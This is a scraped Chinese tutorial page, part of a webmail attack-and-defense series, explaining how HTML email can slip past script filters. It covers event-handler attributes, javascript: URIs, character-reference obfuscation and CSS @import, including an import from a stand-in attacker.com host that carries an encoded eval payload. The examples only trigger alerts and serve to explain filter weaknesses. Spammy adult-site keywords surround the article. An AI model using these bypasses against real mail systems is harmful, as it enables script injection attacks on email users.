麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 服務器 > Mail服務器 > 正文

Webmail攻防實戰(4)_Mail服務器教程

2024-09-08 23:46:26
字體:
來源:轉載
供稿:網友
鑒于腳本程序可能帶來的危險,WebMail系統完全有必要禁止html郵件中的腳本程序。禁止腳本程序的基本做法就是過濾掉html源程序中能夠使腳本程序運行的代碼,如script元素等,在這方面做的最好的莫過于hotmail了。下面是些常見的繞過腳本程序過濾的方法,不少的WebMail系統仍然沒有完全改正:

  (1) 在html語言里,除了script元素內的或在script元素內引入的腳本程序能在html頁面裝載時被運行外,使用事件屬性也能調用腳本程序運行,事件屬性在JavaScript語言里被稱為事件句柄,用于對頁面上的某個特定事件(如鼠標點擊、表單提交)做出響應,驅動javascript程序運行。它的語法如下:

  <tag attribute1 attribute2 onEventName="javascript code;">

  例如:

<body onload="alert('JavaScript#1 is executed');">
<a href="#" onclick="alert('JavaScript#2 is executed');">Click here</a>
<form method="post" action="#" onsubmit="alert('JavaScript#3 is executed');">
<input type="submit" value="Submit">
</form>
</body>

  (2) URI(Universal Resource Identifier:通用資源標識)用于定位Internet上每種可用的資源,如HTML文檔、圖像、聲音等。瀏覽器根據URI的資源類型(URI scheme)調用相應的程序操作該資源,如果把一些元素的URI屬性值的資源類型設為javascript,則能夠調用javascript程序運行。語法如下,注意要用“;”分隔不同的javascript語句:

  <tag attribute="javascript:javascript-code;">

  例如:

<body background="javascript:alert('JavaScript#1 is executed');">
<a href="javascript:alert('JavaScript#2 is executed');">Click here</a>
<form method="post" action="javascript:alert('JavaScript#3 is executed');">
<input type="submit" value="Submit">
</form>
<img src="javascript:alert('JavaScript#4 is executed');">
</body>

  (3) 由于軟硬件或其他原因,一些冷僻或特殊的字符不能輸入或正確顯示在html頁面上,為了解決這個問題,html中可以使用SGML字符參考。字符參考是一種用來指定文檔字符集中任何字符的獨立編碼機制,以“&”開始,以“;”結束。字符參考有兩種表達方式:數字字符參考和實體字符參考。數字字符參考的語法為“&#D;”(D代表一個十進制數),或“&#xH;”、“&#XH;”(H代表一個十六進制數),例如“A”、“A”表示字母“A”,“水”、“水”表示漢字“水”。

  攻擊者把html語句里的一些字符以數字字符參考來代替,這樣能避開WebMail系統對腳本程序的過濾。需要注意的是,元素和屬性不可以用字符參考表示,例如:

<body>
<img lowsrc="javasCript:alert('JavaScript#1 is executed')">
<a href="javAsCript:alert('JavaScript#2
i&#x73 executed')">Click here</a>
<form method="post" action="javascript:alert('JavaScript#3 is
executed')">
<input type="Submit" value="Submit">
</form>
</body>

  (4) 樣式表是層疊樣式表單(CSS:Cascading Style Sheet)的簡稱,用于控制、增強或統一網頁上的樣式(如字體、顏色等),它能夠將樣式信息與網頁內容相分離,在html語言的style標簽內可以用@import聲明輸入一個樣式表。但是,如果輸入的資源類型或內容是javascript,Internet Explorer瀏覽器仍然會執行。

例如: <style type="text/css">
<!--
@import url(javascript:alert('JavaScript#1 is executed'));
@import url(http://www.attacker.com/js.css);
-->
</style>

  其中http://www.attacker.com/js.css的內容如下所示:

@import url(javascript:alert('JavaScript#2 is executed'));
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));

  能夠繞過WebMail系統對腳本程序過濾的方法遠不止上面所說的這些,例如曾有人發現把“<script>”標簽改成“<_a<script>”和“<<script>”的樣子能繞過yahoo電郵的過濾,這個漏洞yahoo在最近才改正過來。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 国产 日韩 一区 | 久久国产成人精品国产成人亚洲 | 黑人日比视频 | 日本aaaa片毛片免费观蜜桃 | 国产成人在线免费看 | 欧美毛片| 中国国语毛片免费观看视频 | 日韩黄色av网站 | 精品亚洲二区 | av在线免费看片 | 龙的两根好大拔不出去h | 国产一区精品在线观看 | 精品999久久久 | 又黄又爽免费无遮挡在线观看 | 美女视频黄视大全视频免费网址 | 欧美性受ⅹ╳╳╳黑人a性爽 | 成人免费国产 | 国产88久久久国产精品免费二区 | 久久精品99国产国产精 | 亚洲视频在线观看免费 | 国产免费久久久久 | 国产精品视频一区二区三区四 | 国产精品剧情一区二区三区 | 国产在线精品91 | 妇女毛片| 成人一级在线 | 国产精品久久久久久238 | 国产黄色毛片 | 91精品国产日韩91久久久久久360 | 成人毛片网 | 毛片免费在线 | 日日做夜夜操 | 免费一级a毛片免费观看 | 中国美女一级黄色大片 | 精品久久中文网址 | 日韩黄色片免费看 | 欧洲精品久久 | 在线视频 日韩 | 一级做受毛片免费大片 | 综合国产一区 | 国产精品久久久久久238 |